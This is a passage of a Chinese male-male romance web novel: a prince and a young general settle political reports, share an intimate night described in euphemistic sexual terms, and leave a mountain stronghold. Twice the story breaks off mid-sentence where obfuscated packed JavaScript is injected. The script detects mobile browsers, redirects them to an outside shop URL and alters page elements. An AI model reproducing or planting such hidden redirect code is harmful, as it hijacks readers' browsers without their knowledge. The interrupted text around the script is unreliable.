“我军伤亡,今夜之前点清名数。伤者先医,阵亡者具名登记,抚恤不得遗漏。吐蕃俘虏分营拘押,老幼另设一处,能战者严加看守,逐一具名入籍,不得私刑。主将加锁看押,未得军令,不得擅问。明日择通晓官话者讯问,查其是否尚有余骑潜于山中。山口添哨,夜巡加倍,恐有余寇窥伺,不可懈怠。” 言语利落,一如阵前发令,孟知武沉声应是,转身而出。 蜀中沉疴,虽以黄土暂覆,然根脉未绝,水下暗流仍急。 裴与驰执起案上药瓶,指尖在瓶口轻轻一转,神色如常。狸奴此番入蜀,是在御前立过生死军令状的。若当真折于此地,不过将门子弟一腔血勇,执意赴险,朝堂自可归之轻敌,或推之边事凶险,收局并不难。于圣人而言,不过少年情深,失之轻狂;人既亡,局亦止。 可如今,人未死,且胜势太盛。 往日狸奴在圣人眼中,不过承门第余荫的小将军,性烈而骁,锋芒毕露。与皇子牵连,是失德,是荒唐。荒唐之人,难成气候,亦不足为患。然他不费刀兵启城而入,生擒陈正衡;又于断崖之间擒吐蕃主将于掌中,此等心计与胆魄,已非匹夫之勇。帝王用刀,贵其锋,更贵其在握。刀若自知进退,尚可为器;若锋芒自长,便成隐患。 裴与驰将药瓶放回原处,瓷声极轻。狸奴这一身功名,不宜张扬;蜀地这一处山水,不宜久居。须在圣心疑影未成之前,自剪羽翼,敛锋入鞘,滚回长安去,仍做那一对荒唐断袖。 荒唐,方可久安。 另一头,迟铎低头盯着掌心那点粉痕,半晌未语。心中却只一念:回京之事,刻不容缓。 捷报一道道飞入长安,于西南百姓是喜讯;于朝堂,却未必皆喜。人未亡,且大胜而归;山民归附,团练听命。写在兵部折子上,是军功;摆在御案之上,便未必仍是军功。陈正衡被押解前那一声嘶吼:“三皇子来西南是必然。”如蛇信吐信,至今在耳。数月前,兵部侍郎当庭指斥殿下延误军机,借机滞留蜀地,话锋一转,便牵出“屯兵”“积粮”四字。圣人高坐,冕旒低垂,不置一词。那一刻,他便知此局未了。 西南形胜,自古易守。人若久驻,名虽未改,势已暗成。殿下在此一日,民心便稳一分;御书房中参劾章疏,亦厚一分。“屯兵”“积粮”“收心”三语,一旦并列成文,再添一句“意图不轨”,再入长安,未必仍是奉诏凯旋。 想到此处,迟铎五指缓缓收紧,指甲压入伤处。那点刺痛透骨,他却恍若未觉。 各自思量未久,徐正义抱拳道院中已清扫妥当,热水备下,请殿下与靖武伯洗濯,又说饭菜已吩咐下去,另收拾出一间齐整屋子,请靖武伯今夜歇息。 迟铎正低头理罗裙袖口。宽袖铺在膝上,他把袖缘往里收了收,又压一遍,指尖在绣边上顿住,没抬头:“不必麻烦。我同殿下住。” 堂中静了一瞬。 裴与驰端着茶盏,盏沿停在唇边,抬眼看他:“靖武伯行军在外,也要这般省俭?” 迟铎咬了咬唇,把另一只袖子也拉到身前,一寸寸抚平,仍盯着膝上衣料,耳根却慢慢红了,“如今局势未稳,有些军务……须同殿下细议。”话说出口,手指还压在袖缘上,布料被他捏出一道细折。 徐正义一听,眉头拧成一团:“哎呀靖武伯,你这是做啥子嘛!”他拍腿道,“我们寨子穷是穷,空屋头还是有的!两个大男人挤一张铺,手脚都伸展不开。便是把我的床让出来,也断没有让你们挤到一堆的理儿!” “咳咳咳!”刘义猛地咳得惊天动地,脸涨得通红,抢话道,“大哥你不懂!不懂!”他一边给徐正义使眼色,一边正经胡诌,“迟将军同殿下那是至交,生死之交!人家那叫‘抵足而眠’!这是长安城里文人的规矩,你个山里人莫乱讲!” 徐正义斜他一眼:“哟?你个龟儿子还晓得成语?” 刘义被噎住,硬撑道:“山下听说书听来的!戏文里那些大英雄,感情深了,都是要睡一张床的!” 徐正义又看看低头抠袖口的迟铎,又瞧瞧上首坐着的裴与驰,目光来回两遭,话到嘴边转了个弯,终究咽回去。 裴与驰慢慢抿茶,盏在指间转了半圈,方搁回案上。他看向迟铎,目光停了一瞬又收回,抬手理了理袖缘:“既是靖武伯勤于王事,有军务相商,便依他,不必费心。” 迟铎这才把袖子放回去。 徐正义作罢,一边往外催饭食,一边拽着刘义走,嘴里还嘀咕:“行嘛,长安贵人就是讲究多。先说好哈,我是不得跟你抵到脚趾拇儿睡的,你那双脚,滂臭!” 刘义怒道:“莫乱说!老子脚干净得很!” 两人洗去一身血腥尘埃,迟铎换下那身破损罗裙,重着锦袍。墨发未束,湿意犹在,披散肩头,沿衣领洇开一圈暗痕。饭食很快送至。山中简朴,不比长安城里一食万钱的排场,不过一盘柏枝肉油光透亮,一碗野菌汤清鲜微酸,几碟时蔬,并一甑新蒸白米。热气腾腾,将屋内寒意慢慢驱散。 迟铎夹了一箸柏枝肉入口,圆眼微睁,忍不住道:“这肉滋味倒好。” 裴与驰神色未动,手下却已顺势夹了一块入他碗中:“古籍残卷里翻出的法子,闲时教了他们。火候还差些。”迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“又或者——”裴与驰微微后仰,目光从迟铎面上慢慢移开,顺着肩线往下,在身后某处略作停留:“须得将那身皮肉按住,狠狠教训一顿,教它记得疼,记得怕,下回方晓得该往何处去。”迟铎瞬间闭紧了嘴,脸颊腾地红透。这人当真欺人太甚。那目光分明就是冲着……去的。竟真拿他当顽童,要按在膝头教训不成? 被这一番连消带打的嘲讽逼得面红耳赤,迟铎心头那股羞恼直往上涌,只觉自己在这人眼里早被揉圆搓扁,翻来覆去看了个透,哪里还剩半分体面。他暗暗立誓,这一回定要硬起心肠,纵使他今夜当真摘下天上月亮来哄,他也绝不再理他半句。 誓言尚未立稳,碗中却多了一著剔净肥腻的精肉。 迟铎偷眼去看,只见那人仍绷着一张冷脸,仿佛正对着空气置气,手下却细致得很,将肉边多余油脂一点点剔去,似怕他夜深难以克化。 方才那嘴毒之人,与此刻耐心之人,竟判若两人。 迟铎看着看着,心头那股硬气便被碗底那点温热慢慢熨软。 罢了。 他暗暗宽慰自己:既已认定,还能当真嫌他不好么。 待一餐用毕,撤去残席与漱口清茶,屋内灯火渐暗,只余剪影成双。 迟铎那股劲儿忽然又起。也不知是吃饱气血回转,还是自觉此事占理,他深吸一口气,转身凶巴巴地瞪了裴与驰一眼。随即探手入贴身暗袋,摸索半晌,取出一个巴掌大的软皮囊按在案上,解开系带,半块断玉滚了出来,玉色温润,断口却凝着一抹暗红。他指尖在案上点了点,下巴微扬,摆出问罪的架势:“另一半在何处?拿来。” 裴与驰目光落在那半块玉上,神色微敛,却没有动。迟铎声音低下来,方才那点逞强之气尽散:“当日你只留此玉,人却不知所踪,玉上还带着血。”他指腹悬在那抹暗色上,“这一程我未敢拭去,怕那当真是你的。” 其上早也染着他自己的血,干涸之后,早分不清彼此。 裴与驰终于探入怀中,取出另外半块。尚未放稳,迟铎已伸手夺过。两块断玉合在一处,“景恒”二字重归于一,那道血痕横贯其间,不似诀别,倒像刻进骨血。迟铎盯着那名字看了许久,长长吐出一口气。这一路他不畏死,却唯独怕这半块玉若真成残缺,那人的命数也随之散去。 他抬手欲拭血痕,下颌忽然一紧,裴与驰指节用力,将他的脸抬起。迟铎被迫仰视,撞进那双素来冷淡的眸子。那目光里寒冰乍裂,压了一整日的怒意翻涌而上。指腹沿着他下颌重重碾过,一下又一下,在白净肌肤上压出红痕。 裴与驰俯身逼近,鼻息相抵,呼吸交缠。 迟铎睫毛轻颤,下意识仰起颈项,那气息落在唇畔,却迟迟未落。 “平日里不拜神佛,只信手中刀。”裴与驰低声道,“如今却为这一块死物,信起这些命数来了?” 迟铎方欲答言,下颌却被捏得更紧。 “狸奴,你这般轻命,若我当真死了,你是不是便执着这块破玉,与我同去?” 他松手,退开半步,“实在愚不可及。” 迟铎怔了一瞬,那样毫不遮掩的怒意,他从未见过。 裴与驰忽然撤身,椅足在地上擦出一声闷响。他退回座上,目光落在案前,不再看他,只抬手指了指砚台:“去研墨。靖武伯不是有军务要议?这便是军务。” 迟铎僵在原地,心头方才生出的那点绮念一时尽散。他暗自咬牙:偏生遇着这样的人,半分情面不留,莫非当真要罚他去抄《周礼》? 裴与驰不再等他,自行卷袖,将墨条压入砚中,待墨色浓开,提笔铺开宣纸。笔锋悬停片刻,落字沉稳:“臣临阵擅改军令,未及上达。”第二行紧接着写成:“金蝉脱壳,未先报而行,罪在臣。” 笔锋在“罪在臣”三字上顿住,力透纸背,又换行写道:“回京之前,臣当具折请罪。” 写罢才道:“狸奴,你写军报。” 迟铎走到案旁,看清那几行字,目光落在“罪在臣”上,没有出声。 裴与驰将请罪折压在一侧,点了点另一张空白宣纸:“上奏:清剿匪患中捕获吐蕃流窜部众,与地方守将私通,此为内患,并非边境来犯。得胜,奉旨而行。圣人早在太极殿已定乾坤,你不过依令清剿。” 他说完起身让位。 迟铎却忽然抬手,将砚台推翻。墨汁淌下,浸湿请罪折,将“罪在臣”三字染得发黑。裴与驰伸手去扶纸,迟铎已跨步过去,坐到他腿上,不许他起身。 “下去。”裴与驰手里仍捏着那页纸。 迟铎揪住他衣襟,将人往后压住:“我入蜀为何,圣人自知。纵然回京生忌,我自受着。你何必急着把过揽在身上。”裴与驰去掰他的手,迟铎索性搂住他的脖子不放:“擅改军令四字做实,圣人若顺水推舟,你当只是申斥几句?” 裴与驰不再与他争辩,抬手将那页纸揉作一团丢在地上,又要取纸重写。迟铎一手按住他的手,一手仍环着他,道:“我不研墨,也不写。要担,一起担。” 裴与驰低头看着两人被墨染黑的手,片刻后抬手按住迟铎下颌,将人推开半寸,重新执笔:“写军报。” 迟铎却仍不松手:“闻知年得圣眷,兵部侍郎素出其门。你把边患压下,又自认其过,他们怎会不借机生事?说你轻率越令,都算轻的。”见他笔锋未停,迟铎终于急了:“裴与驰,你怎么总是这样?” 裴与驰冷静开口:“你领军令状那一刻,他当你年少轻狂。可你若活着,又立下这等功名,便不只是轻狂了。”他顿了顿,墨色在纸上晕开:“具折请罪,解去节制,缴还印信,是眼下唯一的路。我是他的儿子,认过尚可回转;你不是。若他要动你,不会留情。”又道:“我认此罪,外敌之议便可止息,事止于尚书一人。圣人不必再深究边防失察,兵部亦得收声。轻重如何,他们自会掂量。” 迟铎仍死死扒着他,整个人压在他身上。裴与驰被缠得笔锋一歪,墨在纸上拖出浅痕,他侧肩去掰那双手,迟铎却顺势把脸埋进他颈侧,呼吸一下一下扫过去。 裴与驰终于低声认输:“你下来研墨。我还要再具一疏,一并送往长安。请旨于天子山一带置办庄田,收纳流民。” 迟铎贴着他不动,耳尖却微微一动。 “名义上,是我在蜀地遇险,幸得山民相救,遂出私财置办庄田,栽植果木,以供日用。”他落笔平稳,“一个耽于男色、好置田产的皇子,总比一个握兵得民的皇子叫人安心。” 迟铎的手指松了松。 “蜈蚣寨之民既已入良籍,编为佃户,列入庄册。留其为庄丁,看田守庄。” 埋首的狸奴终于抬头,眼里尽是未尽之语。裴与驰被他缠得无法,只得直言:“蜀地从来不太平。乱时先乱,治时未治。这几个月翻过的土,不会白翻。” 话音刚落,耍赖的狸奴眼里骤然亮起光来,利落地下地,将翻倒的砚台扶正,添水研墨,仿佛那不是掉脑袋的事,而是天大的喜事。 裴与驰瞥他一眼,评价道:“到底是山里放出来的。” 26. 意相投 迟铎是在翻身牵动的酸意里醒来的。 他昨夜埋在被中生了半晌闷气,又在心里将某人翻来覆去骂了个够,骂着骂着困意上来,竟也就沉沉睡去。此刻睁眼,帐中光线已亮。被单床套皆换过,连身上里衣也妥帖干净,布料柔软贴身,显然有人在他熟睡时替他细细收拾过。 唯独身子不听使唤。 他睁开双眼,自觉整个人像被风雨彻夜打透,花枝低垂,露重难承。连呼吸都牵着腰背发虚,余韵未散。酸意自腿根一路漫上腰背,好似回到幼年逞强骑裸马一日,归来时两股生涩发热,破皮见血,行走都觉生疼,如今虽不至见红,却添了几分难言的灼热与酸软。 布料轻贴,便似细风掠过初绽花萼,麻意暗生。昨夜骤雨惊开的花蕊犹带余温,未及收拢,稍一牵动,便有细潮暗涌,如蜜眼既通,便再难闭锁,花蜜隐隐渗出。他僵住,半晌不敢再动,连起身都要迟疑再三。勉强撑肘欲坐,腿才微分,便觉余麻暗起,似残潮未退。心口骤热,面上随之发烫,羞意与恼意一齐翻涌。 始作俑者却不知去了何处。 迟铎咬着牙暗骂,心里再次将那人从头到脚数落了个遍。还自诩知礼守法的端方君子,口口声声三书六礼,说得比礼部尚书还郑重,昨夜却偏偏半分不留情;今朝倒好,人影都不见一个,仿佛事了拂衣去,把他丢在榻上自生自灭。 越想越气,越气脸越热。 “混账。”骂得声低,却咬字分明。 门外传来轻微脚步声,帘子一掀,裴与驰端着木盘走了进来,盘上热粥白气氤氲,旁置一只素白瓷盒。 迟铎怒气未消,见他进来,索性侧身闭目装睡。裴与驰将木盘轻轻搁下,瓷碗落案时声极轻,似不愿惊动他。随即端碗至榻前,目光在他脸上停了片刻,“醒了便用些。”说罢以指背试了试温度,当真坐在榻前,要亲手喂。 迟铎偏不肯睁眼,只闷声道:“不饿。”语气还带着火气。裴与驰也不与他争,将粥搁在一旁,取过那只瓷盒,盒盖一启,药香微凉。他竟不言不语,直接掀了被角。锦衾轻动,晨光自窗纸透入,落在他低垂的眉目上。那目光落下,比昨夜还要灼人。迟铎一惊,忙伸手去按被子,却被他反手扣住手腕,按在枕侧。 “再逞强,今日真下不得榻。” 瓷盒里盛着清凉药脂,他指腹蘸了些,神色不改,落手却极轻,沿着那处昨夜被风雨欺过的花萼缓缓抹开。凉意自肌理渗入,一寸寸压下残余灼痛。可痛意方退,稍一触及,蕊间却又暗生清露,细细沁出。迟铎咬住唇,呼吸微乱,脸上热得发紧。那股凉与热交缠在一处,叫人不知该躲还是该忍。他本想抬脚踢开这人,偏偏腿根酸软无力,膝弯轻颤,连挣扎都不能。 裴与驰察觉他挣意,手下微顿,却并未离开,只低声道:“别动。” 又添了一句:“自己招的,怨不得旁人。” 话音落下,指腹仍稳稳将药脂推开,连边角也抹得极细。凉意贴着肌理散开,压下昨夜余热。迟铎被那凉意一逼,本能地缩了缩腿,反被他按住膝弯,动弹不得。 “男子汉大丈夫,也太记仇了些。”迟铎咬牙道,“不过挤兑你两句——” 裴与驰抬眼看他,“两句?” 目光压下来,迟铎喉头一滞,侧过脸去不肯再说。心里却委屈得很,昨夜那人半分温存也无,只知横冲直撞,叫他连喘息的余地都不曾留。 药抹毕,他抽回手,指腹却沾着一层不属于药脂的水色,在晨光里微微发亮。他神色如常,取过锦帕,一点点拭净。迟铎瞧在眼里,脸上腾地一热,恨得牙痒,暗自立誓:他若敢开口取笑,今后当真再不理他。 谁知净手之后,那人竟未多言,只掀开被衾,将他连人带衾一并抱起。迟铎猝不及防,整个人落进他怀里,手还来不及挣扎,已被抱住。 “还摆什么脸色。”裴与驰道,“昨夜是谁先招惹的?”话落,手臂一收,将人往怀中按了按。迟铎原要挣扎,身子一动,腿根酸意便起,只得伏在他肩侧,气息贴着衣襟,恼也恼不成。心里那点怨气,本想再撑一会儿,却被这一抱压得七零八落,只剩嘴上不肯认输:“下回你若再这般……我可不依。” 裴与驰低笑一声,“你先学会不逞口舌,再来说这话。” “那你也不能只顾争那口气,不理我。”迟铎忽然直起身子,话未说尽,腰下一软,又跌回他怀里,索性攀住他衣襟不放,眉眼带着三分恼七分委屈,“昨夜你都不抱我。” 说得理直气壮,全不提是谁先拿话锋去刺人自尊。 话既出口,索性一股脑儿倒了出来,“也不亲我。”这几字压在心头一夜,说出来竟带了些鼻音。 若只图一场云雨,他何必翻山越岭追他到此。刀兵可挡,山路可涉,却偏生受不得那人心冷半寸。此刻哪里怀里人还有半点沙场气概,英姿飒爽的小将军早不知躲到何处,只剩一个心思细软的小娘子,眉目间全是怕被轻慢的情意。 裴与驰垂眼看他,那只手还死死攥着他衣襟,像生怕他当真走开。昨夜挤兑人的是他,今朝委屈巴巴的也是他,理在他,情在他,哭闹也在他。 实在是不讲理的狸奴。 却也实在可怜。 他不再同他争,只将人按回怀中,手臂收紧,“胡言乱语。”说罢低头,在他发顶轻轻一触,又沿着额角缓缓往下,“不抱你,你如今在谁怀里?” 唇擦过鼻梁,轻轻点在鼻尖。 “不亲你?” 话音未尽,已覆上他的唇。 唇瓣相偎,款款轻轻,温柔着意,慢慢贴着,细细含着。唇齿相触轻得几乎无声,如蝶栖花,却偏偏缠绵,似溪水过石,不急不缓,淌进心口,将昨夜未曾给足的柔情,一点一点补回。 迟铎原还撑着几分气,被他这样温柔相待,呼吸慢了下来,眼尾微红,睫毛轻颤。方才那点委屈,在这般柔意里消散开去,如春雪消融,悄然无痕。 偏嘴上还要嘟囔:“谁让……你一直按着我——” 裴与驰轻轻咬他唇珠一下,“还说。” 迟铎立时噤声。 裴与驰看他这样,忽然失笑,低声道:“昨日骂我是纸糊的,今朝倒要我抱着哄。迟小将军这翻脸的本事,实在厉害。” 迟铎气急,抬手便要捶他,却因腿根一软,整个人又贴回他怀里。裴与驰顺势将人托住,半点不让他落空,“既说要抱,那今日便抱个够,省得你回头又翻旧账。” 说罢当真不松手。 小娘子的脾气发尽了,被这样圈着,心里那点委屈散得七七八八。伏在怀里不过片刻,腹中却忽然空空作响,方才的柔情立时让位。他抬手推了推裴与驰,理直气壮得很:“我饿了,喂我。”语气使唤得极顺,仿佛天经地义。 裴与驰垂眼看他,未动。 见他不应,小娘子立时退场,狸奴回魂,语气一转,尾音都软了三分:“殿下最好了。”说着还往他怀里蹭了一蹭,额头在他衣襟上轻轻顶了一下,活脱脱一只恃宠而骄的猫。 裴与驰终是抱着人坐在榻边,一手端起粥碗,一手托着他,勺子递到唇边,“张口。”迟铎本还端着几分姿态,见他真喂,立时乖乖启唇。热粥入口,暖意自喉间滑下,连带着昨夜残余的酸软都淡了几分。他吃了两口,又抬眼望他,理所当然道:“还要。” 裴与驰瞥他一眼,“靖武伯如今连碗都端不得了?” 迟铎圆眼一睁:“不是你说要抱个够?” 话确出自他口,无从反驳,裴与驰只得继续喂。 一边被伺候,一边还不忘发问:“你清晨去哪了?”迟铎含着一口粥,话说得含糊,却偏要问个明白,眼睛盯着他,像是审人。 裴与驰不急着答,只又舀了一匙,吹过递到他唇边,“军报与密折已一并送往长安。”“吐蕃大将也提审过了,”他续道,“口供已录,待一并呈上。” 迟铎怔了一瞬。他方才还当这人清早不见踪影,是故意晾他,心里还暗骂两句薄情。谁知天未亮便已将这些要紧之事做尽。粥入口,忽觉比方才更暖。“那你……”他低声道,“这么早便去忙这些?”裴与驰瞥他一眼,“难不成陪你在榻上生闷气?” 迟铎:“……” 这人当真是可恶得紧,偏又叫人奈何不得。感动来得快,散得更快,可那股说不清道不明的欢喜,却偏偏留在心口,怎么也散不干净。 “军情不等人,”裴与驰又道,“折子晚半刻,风声便多半分。” 迟铎咽下粥,抬眼问:“那我们多久启程回长安?” 裴与驰将空匙在碗沿轻轻一磕,“本是明日便可拔营。”话锋一转,目光落在他腿上,“偏偏迟小将军,非要品鉴刀兵,自不量力,伤了元气。” 迟铎立时炸毛,“谁说的!我可以走,立马下山!”说着便要挣扎起身,才一动,眉心便轻轻一蹙,只硬撑着不肯露怯。 裴与驰看在眼里,也不拆穿,只道:“靖武伯威名远播,自然走得。只是不知这走,是骑马,还是让人抬着?” “……反正我就算让人抬着,也得明日动身。” 迟铎咬牙道,神色倔强得很。“你在蜀地已留四月。”他眉间微蹙,语气满是担忧,“再留,便不是安抚民心,是揽民心。” 山中匪患已平,流民既安,吐蕃之事亦明,民心正炽。炽则可用,亦可疑。盛极之时,最忌久居。 迟铎抬起下巴,“我岂会因一点小伤误大事。” 裴与驰看他那副逞强模样,唇角微挑,“一点小伤?” 迟铎耳根立时一烫,本欲逞强顶一句“你当真以为你那是什么神兵利器,还能伤到哪里去”,话到喉头,却忽然想起昨夜初次交锋时那般来势汹汹,直似破竹之势。心口一紧,生生将那句硬话咽了回去,支吾半晌,终究没敢吐出整句。 裴与驰将空碗放下,又把人按回怀里,“那待会儿试试。” “试什么?” “让你下地走两步。” 迟铎:“……”气势顿时矮了半截,连方才那点豪言壮语都散了。 正僵持着,裴与驰忽然道:“还有不到七日便是岁除。” 迟铎一愣。 “此时启程,怕要在路上过年节。”他说罢,目光落在迟铎面上,像是将去留之权交到他手里。 山中留岁,安稳无波;路上迎新,风雪未定。各有意味。 迟铎几乎未曾迟疑,“自然启程。”说得干脆利落,“反正你同我一道守岁,在哪儿都一样。”话出口才觉直白得紧,眼睫微垂,耳根一点点泛起热意,却偏不改口,仍梗着脖子坐在他怀里,一副“我既说了,你待如何”的模样。 裴与驰看他半晌,唇角似笑非笑,吐出的话没一句顺耳的:“果然是乡野来的野狸,说话从不知羞。” 迟铎早摸清这恶劣男人的脾性,也不恼,索性将脸往他肩上一贴,闷声道,“我不过说句实话,守岁本就要与亲近之人一道。”这一句贴着他衣襟说出来,气息透过布料,倒比先前更直白几分。 裴与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239964|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰低头看他,见狸奴耳根红得分明,手却还攥着自己衣襟不放,像怕自己当真驳他。他牵过那只手按在自己心口,“既是实话,便记着。往后莫要翻口。” 掌心贴着衣下温热的心跳,一下一下,沉稳有声,仿佛真在应那句“与你一道”。迟铎原还带着几分羞意,此刻却被这节律震得心口发软,指尖不由自主地蜷了蜷,像要把那跳动攥住一般。 四目相对间,气息渐缓。被抱在怀里,数着心跳声,小娘子早化作一池春水,唇角微翘,眼波含湿,分明是要讨一个吻。 裴与驰低下头去,鼻息即将相触—— 门外忽然“咚咚咚”一阵踏地之声,沉重如群马齐奔,自廊下直逼门前,紧接着一声咳嗽,气沉丹田,声若惊雷:“殿下、靖武伯,轿子已备好!” 那声音震得窗纸都微颤,迟铎整个人都清醒了。 武秦立在廊下,距门尚远,硬是凭多年武学根底,将声音送得分毫不差。他心里实在苦。昨夜的热水是他送的,锦被是他递的,夜半又随殿下提审吐蕃大将,转头还得奔驿站送密折,马都未喘匀一口气。回营时听见殿下吩咐备轿上山,他心里便是一沉。殿下入屋后再无动静,他自然不敢去扰,生怕坏了好事,可又记着那句“今日务必启程,不得误时”,只觉自己夹在刀山与火海之间,进退皆难。 门半掩着,他不敢靠近,更不敢看,只得远远立着,提气出声,脚步踏得重如擂鼓,咳嗽一声比一声响,替里头二人敲更报晓。 裴与驰并未多言,只替迟铎拢好衣襟,将衣带一一理顺,又将他披散的发束了个利落的结,这才俯身将人打横抱起。迟铎耳根发热,原还想挣扎两下撑一撑场面,腿根却不听使唤,只得认命,将手臂往他颈后一环,索性把脸往他肩上一埋,彻底自暴自弃。 门外武秦听见动静,心里一凛,连忙把目光钉在地面,仿佛青砖上刻着兵书。不多时,一双靴影停在眼前。 “走。” “是!”武秦应得铿锵有力,头却始终没抬。 他心里真是苦得很。 寨堂里,刘义与徐正义早早等候。 昨夜刘义纠结半宿,终是把心一横,将自己所察之事对徐正义说了个七七八八。徐正义听刘义结结巴巴说完时,眼睛差点成了斗鸡眼。“你是说——”他压低声音,“殿下跟靖武伯——”刘义当场拍他一巴掌:“莫嚷!你想死啊咯!” 徐正义捂着后脑勺,愣了半晌,忽然一拍大腿:“哎哟我说啷个怪得很!原来是这么个怪法!”他认真回想:“昨日靖武伯看殿下那个眼神,跟我家婆娘看我一模一样嘛!” 刘义伸手去捂他嘴:“你少讲两句!我就是怕你这个憨脑壳到时候嘴快,冲撞哒人家!” 徐正义一挥手:“冲撞个锤子!殿下救了我们一寨人,还给我们入良册,分庄田。靖武伯提刀上阵,命都豁出去。”他越说越起劲:“他两个想在寨子里拜堂,老子都给他们点炮仗!” 刘义盯他半天,终究只憋出一句:“你这个脑壳,有时倒也灵光得很。” 堂外传来脚步声。两人抬头,裴与驰抱着迟铎进门。刘义嘴角抽了抽,徐正义眼睛瞪得更圆,忍不住小声嘀咕:“我回头也要对我婆娘好点,像殿下这样天天抱来抱去。”刘义抬肘撞他:“你闭嘴!” 迟铎埋在裴与驰怀里,只当众人看不见。裴与驰神色如常,将人放稳在椅上,这才道:“劳两位当家久候。” 徐正义立刻抱拳:“哪里哪里!殿下要走,我们理当相送!” 刘义也拱手:“寨中上下都记得殿下恩情。” “徐兄,刘兄,青山不改,绿水长流。”裴与驰再开口,竟也是一副江湖作派。 他道:“我已具疏,请旨将此山一带归为私产。山上石瘠土薄,终究难久居。既已入良民册,再留山中,难免惹人猜疑,下山为宜。” 刘义与徐正义对视一眼。 徐正义挠头:“殿下是要……把我们收去做佃户?” 裴与驰道:“名为佃户,实则庄丁。山中旧人,不可散。地契在我名下,你们耕种分收,自有定额。日后再有人查问,也不过是某皇子在蜀地置办庄田。” 话说到此处,刘义心里已明白透彻。蜈蚣寨虽入了良籍,可若朝中有人翻旧账,‘山匪出身’四字便足以压人性命,入庄册,才算真正名正言顺。他抱拳:“殿下这是替我们把后路都铺好了。” 裴与驰没答,只道:“愿不愿,在你们。” 徐正义愣了愣,忽然笑开了:“啷个不愿?我本来就是山里打猎种地的,是被李士廉逼急了才落草,如今能正正经经种自家地,老子做梦都要笑醒。”他说着站直身子,抱拳正色:“徐某愿入册。” 刘义随之行礼:“刘义亦愿。” 裴与驰抬袖整了整衣襟:“山下庄田自有管事来理。你们只管安生过日子。” 他说得平常,却比任何豪言壮语都重。 山风再起,堂前众人抱拳相送。 徐正义忽然又喊了一声:“殿下!” 裴与驰回首。 徐正义咧嘴:“明年过年莫忘了回来吃肉!” 刘义这回没拦他。 迟铎在裴与驰怀里忍不住笑出声,裴与驰眉梢微动,“若山头还在。” 徐正义拍胸脯:“在!人也在!” 江湖儿女,讲的不过一个义字。 至于袖子断不断—— 徐正义心里暗想:关老子啥子事,又不是和老子断。 27. 双飞蝶 山路蜿蜒,石阶错落。昨夜才下过薄雨,青苔湿滑。抬轿的人尚未行出半里,迟铎便觉天地翻覆。 起初他还端坐着,咬牙撑着体面,只当忍一忍便过。谁知山路一高一低,轿身起落,昨夜饱经风雨的地方被震得寸寸发麻,腿根酸意翻涌,连腰背都发虚。他脸色一点点褪下去,唇却抿得极紧。 又一段石阶落差陡些,轿子猛地一沉。 他掀帘,低声道:“停。” 轿夫连忙止步。 裴与驰在前方勒马回首,见他神色不对,已翻身下马走来。迟铎还欲撑一句“无碍”,出口却成了:“还不如我自己走。”话音未落,山风一晃轿身,他脸色又白了几分。 裴与驰掀帘看他一眼,没有多问,俯身便将人抱出轿外。山风迎面而来,迟铎下意识环住他肩颈,嘴上却还要逞强:“放我下来,我走得动。”落地才迈出一步,腿根酸意直窜上来,他眉心蹙着,连呼吸都乱了一瞬。 “走两步试试?”裴与驰看着他。 迟铎咬牙站直,又强行踏出一步,膝弯一软,身形一晃,人已往前倾去。若非那双手稳稳托住,只怕真要跌在石阶上。 裴与驰不再与他争辩,将人重新抱起,挥退轿夫:“不必抬了。” 众人面面相觑,他已将人抱稳,踏着湿滑山路,一步一步往下。迟铎起初还想挣两下,终究没力气,只得伏在他怀里,手却还攥着他衣襟。 徐正义远远站在寨口,本欲再挥手送一程,见这一幕,忍不住低声嘀咕:“啷个说嘛,殿下是真宠。” 刘义这次没再瞪他,而是附和道:“怪不得这么小就有堂客。” 下了山入城,道路平阔,青石板铺陈齐整,轿行其上,只余细细晃动。裴与驰这才命人备轿。总不好叫靖武伯一路被抱入城门。小娘子黏得紧,三皇子殿下却自觉妥帖,该替他留三分体面。 众人只当三皇子惯于长安仪制,出入不离肩舆,也无人多想。轿中并肩而坐不过片刻,轿身一晃,迟铎眉心才动了动,裴与驰已嫌那点震荡碍事,伸臂将人一揽,干脆利落地捞到膝上坐定,不容分说。 “岔开些。”他按住他腿弯,“待会儿碰着,又要喊疼。” 话说得冷淡,还带着一股甚是麻烦的感觉,手却抱得牢。 迟铎耳根“腾”地红透,外头脚步声杂沓,轿帘垂得严实,他却莫名生出几分局促。偏偏那双手抱着他,既不逾矩,又不容拒绝。他心里一半骂他霸道,一半却软成春泥。他忍了忍,到底没忍住,片刻后,侧过脸去,在那俊脸上轻轻啄了一下。 蜻蜓点水,不过一触。 ……………………………………() 他垂眼看他。 迟铎先是一愣,继而整张脸烧得通红,耳尖都透了色,忙把脸往他肩窝里埋,声音细得几不可闻:“我……我也不知……”他自己都说不清。原以为昨夜已是花事尽处,谁知身子竟似被春雷惊醒的泉脉,轻轻一触便有水声暗动,怎么收也收不回。 裴与驰沉默片刻,忽而低低一笑。 “狸奴。”他替他理了理鬓边乱发,指腹在耳廓上掠过,语气难得温柔了半分,“这也要算在我头上么?” 话音才落,便挨了狠狠一眼。那一眼湿润鲜活,水光未褪,分明写着:负心汉还想推个干净? 裴与驰仍冷着脸,嘴上半点不肯让人:“昨夜是谁口口声声说我不中用?今日倒怪起我来?” 迟铎一下子直起身子,眼尾还带着未褪的绯意,眸子湿润,却偏生瞪得圆圆的,连唇都微微张着,像真受了天大的冤屈。 “不是算在你头上,难道算在我自己头上?” 尾音因羞因恼轻轻发颤,偏又理直气壮。他咬了咬唇:“昨夜是谁做的?今日是谁抱着?你还问我?” 大胆得近乎蛮横。 